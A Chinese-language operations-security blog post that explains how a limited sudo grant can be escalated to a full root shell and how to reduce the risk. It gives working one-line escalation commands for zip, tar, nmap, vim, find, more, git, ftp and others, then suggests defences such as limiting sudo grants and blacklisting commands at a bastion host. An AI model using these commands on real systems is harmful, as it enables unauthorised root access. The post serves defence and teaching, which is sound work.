运维安全之如何防范利用sudo进行提权获取完整root shell

阅读量    38753 | 评论 2   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

0x00. sudo 是个啥

在日常的运维安全工作中,经常会遇到开发 OR 测试 同学要求: 我需要在某某服务器上运行一个东东,必须以root权限运行,请帮忙处理下。怎么办? 直接给root账户,让其搞去? 不存在的,但凡是个有章程的公司都不会共享root账户,比较普遍的做法就是利用sudo (Substitute User and Do 的简写)给其临时授权,可以临时让其以root 权限运行某个程序。 但是运维的小伙子们,sudo 授权可要小心,不能求而不拒,什么程序都放行,不然可能会被别有用心的人恶意提权成root账户权限。 下文会详细介绍如何利用特定的sudo 授权程序进行提权。

 

0x01. 警惕常见的可以利用sudo授权然后提权成完整root权限的程序(命令)

1)zip

test 用户是个普通用户,申请sudo 授权zip 命令

然后执行:

sudo zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

成功提权成完整root权限

简单解释下 提权是如何实现的

-T 表示测试test.zip的完整性

—unzip-command 与-T 一起使用,可以指定自定义命令 用于解压test.zip(测试用)

利用点就在 可以自定义用于解压test.zip 的的命令,当然自定义解压命令是以root权限执行的,这里指定为sh -c /bin/bash, 就可以以root权限获取一个shell

2)tar

test 用户是个普通用户,申请sudo 授权tar命令

然后执行:

sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

成功提权成完整root权限

简单解释下 提权是如何实现的

–checkpoint-action 选项是提权点,可以自定义需要执行的动作,当然是以root权限执行

这里指定为exec=/bin/bash,以root权限执行/bin/bash,获取一个root权限的shell

3)strace

简单解释下 提权是如何实现的

strace 以root权限运行跟踪调试/bin/bash, 从而获取root权限的shell

4)nmap

以root权限执行nmap ,然后nmap执行脚本,脚本执行/bin/sh, 获取root 权限shell

如果是老版本的nmap,还可以换一种姿势利用nmap 实现root 提权

sudo nmap --interactive
nmap> !sh
sh-4.1#

5) more

sudo more /etc/rsyslog.conf

然后键入

!/bin/bash 即可获取root权限的shell

同理的命令还有 less 和 man (sudo man ssh)

6) git

sudo git help status

然后键入!/bin/bash 即可以root 权限运行/bin/bash, 获取root权限的shell,原理同more

7)ftp

sudo ftp

在ftp交互式接口下键入!/bin/bash, 便可以root权限运行/bin/bash, 获取root权限的shell

8)vim

sudo vim -c '!sh' 可以直接以root权限运行 指定命令,这里可以直接获取root权限的shell

9)find

sudo find /bin/ -name ls -exec /bin/bash ;

对于find 检索到的每一个结果,都执行/bin/bash, 是以root权限执行的哦,很方便的获取root 权限的shell

10 ) passwd

sudo passwd 可以更改root的密码

然后su –

输入修改后的root密码,就可以切换到root shell

 

0x02. 如何防范?

这才是我关注的重点

必须得说,这个不是很好防范,只能尽量减少风险

sudo的配置文件只能限制那些用户可以使用sudo,可以使用哪些命令,但不能限制用户使用这些命令进行提权获取root shell,我们设置sudo的本意就是让用户能临时获取root 权限执行某些命令而不是永久获取root shell 并可以root权限执行任何命令,有什么好的办法的? 我总结了以下几个方法以期能减少sudo 使用带来的风险

1) 不要安装某些工具命令

比如strace、ftp、nmap、tcpdump、except、nano,这些命令都是可以实现sudo + 命令 提权成root shell的,况且这些命令都不是必须的

2) sudo 不能滥授权

授权之前,必须仔细审核,能不授权的授权,多考虑替代方案,必要的才授权

2)其次使用堡垒机拦截非法命令

有人说将用户加入root组,不存在的,加入root组并不能保证用户以root身份执行某些命令。 最好的办法就是前置堡垒机,在堡垒机上进行非法命令拦截,经过我的一番探索,在我司的堡垒机(基于jumpserver 二次开发,研究过jumpserver代码的对下文代码应该会比较熟悉)上实现了拦截非法sudo 提权命令的功能:

代码简写如下:

data 即为解析后的完整命令,通过正则匹配来检测是否有非法命令(黑名单思路,故有可能被绕过,白名单不知道咋搞,有好的思路的大牛在下面留言中指点下小弟)

 

0x03. 总结

如果获取了对于某个命令的sudo 授权,则有可能利用sudo获取root shell,所以在审核申请人sudo 请求的时候,一定要留心。当然还有很多其他命令可以实现0x01 提到的哪些命令所实现的root提权,比如 nano 、wget (通过写密码文件)、tcpdump等,如果大伙有更多可以提权的命令,不妨在留言中补充

本文参考资料:

http://touhidshaikh.com/blog/?p=790

http://blog.securelayer7.net/abusing-sudo-advance-linux-privilege-escalation/

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多